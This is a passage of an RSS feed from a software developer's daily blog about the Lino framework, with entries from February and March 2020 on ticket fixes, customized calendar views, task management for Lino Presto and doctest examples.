Especially for the tasks listed in &lt;cite&gt;TasksByProject&lt;/cite&gt; you don’t want Lino to
repeat the client name for each task.&lt;/p&gt;
&lt;p&gt;Until now this typical behaviour had to be implemented explicitly by the
application developer. Now is is “out of the box” at least for
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.mixins.html#lino.mixins.ProjectRelated" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.mixins.ProjectRelated&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, which can be considered an example of this
design pattern.  TODO: rename this to &lt;cite&gt;get_row_description&lt;/cite&gt; and write
documentation.&lt;/p&gt;
&lt;p&gt;A minor disadvantage: the ordering of the description items have changed for
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Component" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.Component&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  There is some danger that &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt;
users might complain about it.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0327.html</guid><pubDate>Fri, 27 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, March 26, 2020</title><link>https://luc.lino-framework.org/blog/2020/0326.html</link><description>&lt;section id="thursday-march-26-2020"&gt;
&lt;h1&gt;Thursday, March 26, 2020&lt;a class="headerlink" href="#thursday-march-26-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I opened and fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3560"&gt;#3560&lt;/a&gt; (AttributeError: ‘TmpMediaFile’ object has no
attribute ‘url’)&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0326.html</guid><pubDate>Thu, 26 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, March 25, 2020</title><link>https://luc.lino-framework.org/blog/2020/0325.html</link><description>&lt;section id="wednesday-march-25-2020"&gt;
&lt;h1&gt;Wednesday, March 25, 2020&lt;a class="headerlink" href="#wednesday-march-25-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3477"&gt;#3477&lt;/a&gt;.  Started to review the &lt;a class="reference external" href="https://dev.lino-framework.org/team/doctrees.html#term-end-user-documentation" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;end-user
documentation&lt;/span&gt;&lt;/a&gt; (&lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/de/basics/tour.html#presto-de-tour" title="(in Lino Presto Benutzerhandbuch v20.8.0)"&gt;&lt;span&gt;Eine Besichtigungstour&lt;/span&gt;&lt;/a&gt;) in dedocs/basics/tour.rst&lt;/p&gt;
&lt;p&gt;Removed Journals “Sales credit notes” and “Purchase invoices” from presto demo
data.  They simply aren’t generated when
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.Plugin.declaration_plugin&lt;/span&gt;&lt;/code&gt; is None.&lt;/p&gt;
&lt;p&gt;All orders of the demo project had state “Done” (registered). Not realistic.&lt;/p&gt;
&lt;p&gt;There were no transitions in the workflow buttons of orders.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0325.html</guid><pubDate>Wed, 25 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Friday, March 20, 2020</title><link>https://luc.lino-framework.org/blog/2020/0320.html</link><description>&lt;section id="friday-march-20-2020"&gt;
&lt;h1&gt;Friday, March 20, 2020&lt;a class="headerlink" href="#friday-march-20-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;For &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; we want to add a custom parameter field to the cal.Tasks
table.  This is the moment to convert tasks and events to using the new
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;DateRangeObservable&lt;/span&gt;&lt;/code&gt; mixin instead of an &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ObservedDateRange&lt;/span&gt;&lt;/code&gt; for
their &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;parameters&lt;/span&gt;&lt;/code&gt;.  I created a separate &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3551"&gt;#3551&lt;/a&gt; for this.&lt;/p&gt;
&lt;p&gt;Also e.g. the &lt;cite&gt;user&lt;/cite&gt; field in the parameters is still being specified manually
although this should be done automatically by UserAuthored.&lt;/p&gt;
&lt;p&gt;Most of the filters applied in Event.calendar_param_filter are now done by the
mixins (Assignable, ProjectRelated, …), they are easy cases of
&lt;cite&gt;get_simple_parameters&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Also comments.Comment can now inherit from DateRangeObservable instead of
reinventing the wheel.&lt;/p&gt;
&lt;p&gt;TODO: check how Event.calendar_param_filter now behaves for calview. Because
this is a special case (we want the virtual table row calview.Day to “inherit”
the parameters defined by cal.Event.
I had to move &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup_parameters()&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_simple_parameters()&lt;/span&gt;&lt;/code&gt;
from Model to TableRow for this.&lt;/p&gt;
&lt;p&gt;There is at least one –subtle– confirmation that this was a good thing.
Visible in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/export_excel.html#lino-specs-export-excel" title="(in Lino Developer Guide)"&gt;&lt;span&gt;export_excel : Exporting to Excel&lt;/span&gt;&lt;/a&gt;: The title of  cal.MyEntries has
changed from:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;My appointments (Managed by Robin Rood, Dates 01.08.2017 to 31.08.2017)&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;to:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;My appointments (Responsible user Robin Rood, Dates 01.08.2017 to 31.08.2017)&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Indeed the Event.user field is labelled “Responsible user”, not “Managed by”.&lt;/p&gt;
&lt;p&gt;But the most visible advantage is that we have less code now.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0320.html</guid><pubDate>Fri, 20 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, March 18, 2020</title><link>https://luc.lino-framework.org/blog/2020/0318.html</link><description>&lt;section id="wednesday-march-18-2020"&gt;
&lt;h1&gt;Wednesday, March 18, 2020&lt;a class="headerlink" href="#wednesday-march-18-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Next steps for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3477"&gt;#3477&lt;/a&gt; :&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;add demo tasks&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;detail layout of order. Which types of Order journals?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;show and manage tasks per team: add filter parameter &lt;cite&gt;group&lt;/cite&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Something like the QuickAssignTo action would be cool for other fields as well:
the priority of a ticket, the user of a task, …&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0318.html</guid><pubDate>Wed, 18 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, March 17, 2020</title><link>https://luc.lino-framework.org/blog/2020/0317.html</link><description>&lt;section id="tuesday-march-17-2020"&gt;
&lt;h1&gt;Tuesday, March 17, 2020&lt;a class="headerlink" href="#tuesday-march-17-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="adding-task-management-to-presto"&gt;
&lt;h2&gt;Adding task management to Presto&lt;a class="headerlink" href="#adding-task-management-to-presto" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.TasksByController&lt;/span&gt;&lt;/code&gt; now has &lt;a class="reference external" href="https://dev.lino-framework.org/dev/format.html#lino.core.actors.Actor.display_mode" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;display_mode&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; set to ‘summary’ by default. Only in
&lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; we manually set it back to ‘grid’ to remain conservative. This
little change made me discover the following bug.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="about-the-uris-of-a-js-renderer"&gt;
&lt;h2&gt;About the URIs of a JS renderer&lt;a class="headerlink" href="#about-the-uris-of-a-js-renderer" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Today I worked mostly on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3545"&gt;#3545&lt;/a&gt;.  It seems that this was a bug that
existed already some time (I guess &lt;a class="reference external" href="https://luc.lino-framework.org/blog/2019/0719.html"&gt;2019-07-19&lt;/a&gt;) without having been
noticed: the action links in a table summary panel used permalink URIs although
they should use javascript URIs. At least in a default summary panel, i.e.
without a custom &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actors.Actor.get_summary_table()&lt;/span&gt;&lt;/code&gt; method.&lt;/p&gt;
&lt;p&gt;I wrote first docs about
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.BaseRequest.is_on_main_actor&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I added a new attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.BaseRequest.permalink_uris&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The following doctests cover this subtle and complex topic:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/memo.html#noi-specs-memo" title="(in Lino Developer Guide)"&gt;&lt;span&gt;memo in Noi&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/std.html#noi-specs-std" title="(in Lino Developer Guide)"&gt;&lt;span&gt;About rendering action URLs&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/html.html#lino-specs-html" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Generating HTML&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://welfare.lino-framework.org/specs/memo.html#welfare-specs-memo" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare memo commands&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0317.html</guid><pubDate>Tue, 17 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, March 14, 2020</title><link>https://luc.lino-framework.org/blog/2020/0314.html</link><description>&lt;section id="saturday-march-14-2020"&gt;
&lt;h1&gt;Saturday, March 14, 2020&lt;a class="headerlink" href="#saturday-march-14-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Here is finally a vector version of the Lino logo:&lt;/p&gt;
&lt;img alt="../../_images/vector.svg" src="../../_images/vector.svg" /&gt;
&lt;p&gt;Until now we had only a png file created using a proprietary software on a very
old laptop computer.&lt;/p&gt;
&lt;p&gt;I used Inkscape to vectorize it. Thanks to &lt;a class="reference external" href="https://www.dedoimedo.com/computers/convert-png-to-svg.html"&gt;this&lt;/a&gt; tutorial.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0314.html</guid><pubDate>Sat, 14 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, March 12, 2020</title><link>https://luc.lino-framework.org/blog/2020/0312.html</link><description>&lt;section id="thursday-march-12-2020"&gt;
&lt;h1&gt;Thursday, March 12, 2020&lt;a class="headerlink" href="#thursday-march-12-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued with &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3477"&gt;#3477&lt;/a&gt; and finally started to see progress.  This
project is a good challenge for Lino.  Also for myself it has one new aspect:
instead of doing analysis incrementally together with their contact person, they
produced a 20 pages document describing “what they want”.  Which is of course an
illusion, but it has some advantages and might be more efficient in their
situation (which is that they don’t have any employee who seems competent for
doing the analysis).&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0312.html</guid><pubDate>Thu, 12 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, March 10, 2020</title><link>https://luc.lino-framework.org/blog/2020/0310.html</link><description>&lt;section id="tuesday-march-10-2020"&gt;
&lt;h1&gt;Tuesday, March 10, 2020&lt;a class="headerlink" href="#tuesday-march-10-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;New model &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_presto.lib.contacts.Member&lt;/span&gt;&lt;/code&gt; represents a worker’s team membership.
Added more demo workers, and create demo team memberships for them all.
New method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;orders.Order.get_worker_choices()&lt;/span&gt;&lt;/code&gt; which, in Presto, returns only the workers of the team (defined by the journal).
New model mixin &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;DateRangeObservable&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.PartnerEvents.has_open_movements" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;has_open_movements&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  choice to the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;observed_events&lt;/span&gt;&lt;/code&gt;
parameter field of the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.Partners" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts.Partners&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; table didn’t work
and was not tested. Fixed it and added test coverage in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#xl-specs-accounting" title="(in Lino Developer Guide)"&gt;&lt;span&gt;accounting: General accounting&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0310.html</guid><pubDate>Tue, 10 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Monday, March 9, 2020</title><link>https://luc.lino-framework.org/blog/2020/0309.html</link><description>&lt;section id="monday-march-9-2020"&gt;
&lt;h1&gt;Monday, March 9, 2020&lt;a class="headerlink" href="#monday-march-9-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Filtering the workers.&lt;/p&gt;
&lt;p&gt;The easiest way is to have for each journal a list of the potential workers.
The journals would be the equivalent of teams.
We would add only one model  &lt;cite&gt;lino_presto.lib.contacts.Membership&lt;/cite&gt;
that links a &lt;cite&gt;contacts.Worker&lt;/cite&gt; to a &lt;cite&gt;ledger.Journal&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;A bit more sophisticated would be a separate model for storing teams. Per
journal a pointer to the team, and per team a list of its workers.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0309.html</guid><pubDate>Mon, 09 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, March 7, 2020</title><link>https://luc.lino-framework.org/blog/2020/0307.html</link><description>&lt;section id="saturday-march-7-2020"&gt;
&lt;h1&gt;Saturday, March 7, 2020&lt;a class="headerlink" href="#saturday-march-7-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="customized-calendar-views"&gt;
&lt;h2&gt;Customized calendar views&lt;a class="headerlink" href="#customized-calendar-views" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Uff! Seems that I can finally publish my work for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3502"&gt;#3502&lt;/a&gt; (Customized
calendar views). More than 30 hours of work, distributed over one month.  The
&lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/api/lino_presto.lib.contacts.html#module-lino_presto.lib.contacts" title="(in Lino Presto)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_presto.lib.contacts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin is our first usage example.  It
introduces a second “planner” which, unlike the default planner shows the
workers instead of the time slots as the rows of the weekly and daily views. The
new workers planner has no monthly view because that wouldn’t make sense.&lt;/p&gt;
&lt;p&gt;Here is a summary of my manual test suite:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;team : check whether WorkedHours is being displayed in the dashboard and contains data.
robin didn’t work, so he has no hours, but the table is there because it is not empty.
robin acting as jean would have some hours&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;tera1 : a standard calendar view with events.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;presto1 : here we have two “calendar view” entries in the Calendar menu.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;mathieu : is the daily planner in the dashboard?&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For each calendar view : check whether insert buttons are at the right place and
open a correct insert dialog. Check whether clicking on an event opens that event.
Check whether navigation works in general.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;rename DailyPlannerRow model to TimeSlot?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;write documentation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Workers calendar in presto has no monthly view, so the month header should not have a
popup div for selecting another month&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;customize the title tags of individual calendar entries&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;customize the text to show per event&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;switch between the two planners (e.g. from the general weekly view in a
given week to the workers view in that same week)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;New features in the framework:&lt;/p&gt;
&lt;p&gt;New method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.tablerequest.TableRequest.gen_insert_button()&lt;/span&gt;&lt;/code&gt; is a
generalized and no longer hackerish implementation of the hackerish solution
used in the monthly view until now.&lt;/p&gt;
&lt;p&gt;When the label of a table is None, the ExtJS front-end now
suppresses the header of the grid panel (including the “open in own window”
button).   This is used by the slave tables in the detail layouts of the
calendar views. But note that you cannot simply set &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;label&lt;/span&gt; &lt;span class="pre"&gt;=&lt;/span&gt; &lt;span class="pre"&gt;None&lt;/span&gt;&lt;/code&gt; on the
actor because that default value is overridden by the model’s
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;verbose_name_plural&lt;/span&gt;&lt;/code&gt;. So to get an actor without label you be more
explicit and say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_actor_label&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0307.html</guid><pubDate>Sat, 07 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Friday, March 6, 2020</title><link>https://luc.lino-framework.org/blog/2020/0306.html</link><description>&lt;section id="friday-march-6-2020"&gt;
&lt;h1&gt;Friday, March 6, 2020&lt;a class="headerlink" href="#friday-march-6-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Yesterday shortly before going to sleep I fixed the broken daily links in
monthly planner. Last manual tests. Oops, the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;working.WorkedHours&lt;/span&gt;&lt;/code&gt; table
in team is broken again.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0306.html</guid><pubDate>Fri, 06 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, March 5, 2020</title><link>https://luc.lino-framework.org/blog/2020/0305.html</link><description>&lt;section id="thursday-march-5-2020"&gt;
&lt;h1&gt;Thursday, March 5, 2020&lt;a class="headerlink" href="#thursday-march-5-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I was about to commit my work of the last weeks, but then discovered that the
daily links in monthly planner are broken.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;from navigator (works):
&lt;a class="reference external" href="javascript:Lino.calview.DailyView.detail"&gt;javascript:Lino.calview.DailyView.detail&lt;/a&gt;.run(“ext-comp-1266”,{ “base_params”: {  },
“param_values”: { “event_type”: null, “event_typeHidden”: null, “presence_guest”: null, “presence_guestHidden”: null, “project”: null, “projectHidden”: null, “room”: null, “roomHidden”: null, “user”: null, “userHidden”: null },
“record_id”: -1 })&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;from monthly planner cell (doesn’t work):
&lt;a class="reference external" href="javascript:Lino.calview.DailyView.detail"&gt;javascript:Lino.calview.DailyView.detail&lt;/a&gt;.run(“ext-comp-1269”,{ “base_params”: { “mk”: 0 },
“param_values”: { “event_type”: null, “event_typeHidden”: null, “presence_guest”: null, “presence_guestHidden”: null, “project”: null, “projectHidden”: null, “room”: null, “roomHidden”: null, “user”: null, “userHidden”: null },
“record_id”: [ “18.05.2015”, “19.05.2015”, “20.05.2015”, “21.05.2015”, “22.05.2015”, “23.05.2015”, “24.05.2015” ] })&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The TableWithHeaderRow mixin was overkill. Replaced by a class attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;with_header_row&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The difference between &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_request_queryset()&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_data_rows()&lt;/span&gt;&lt;/code&gt;
caused problems and requires a special test in &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;DaySlave.get_data_rows()&lt;/span&gt;&lt;/code&gt;.
We want to use the DaySlave mixin for both virtual an database tables.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0305.html</guid><pubDate>Thu, 05 Mar 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, February 27, 2020</title><link>https://luc.lino-framework.org/blog/2020/0227.html</link><description>&lt;section id="thursday-february-27-2020"&gt;
&lt;h1&gt;Thursday, February 27, 2020&lt;a class="headerlink" href="#thursday-february-27-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_book.projects.tera1.startup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We simulate an incoming request:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;robin&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;renderer&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default_renderer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We create a sub-request, i.e. another action request object which represents
“the action of clicking the Insert button”. Note that this object just
&lt;em&gt;describes&lt;/em&gt; the action, it doesn’t actually execute it.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;sar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;insert_action&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;sar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;known_values&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start_date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;today&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now we ask Lino to generate the HTML for a button that would execute our action:&lt;/p&gt;
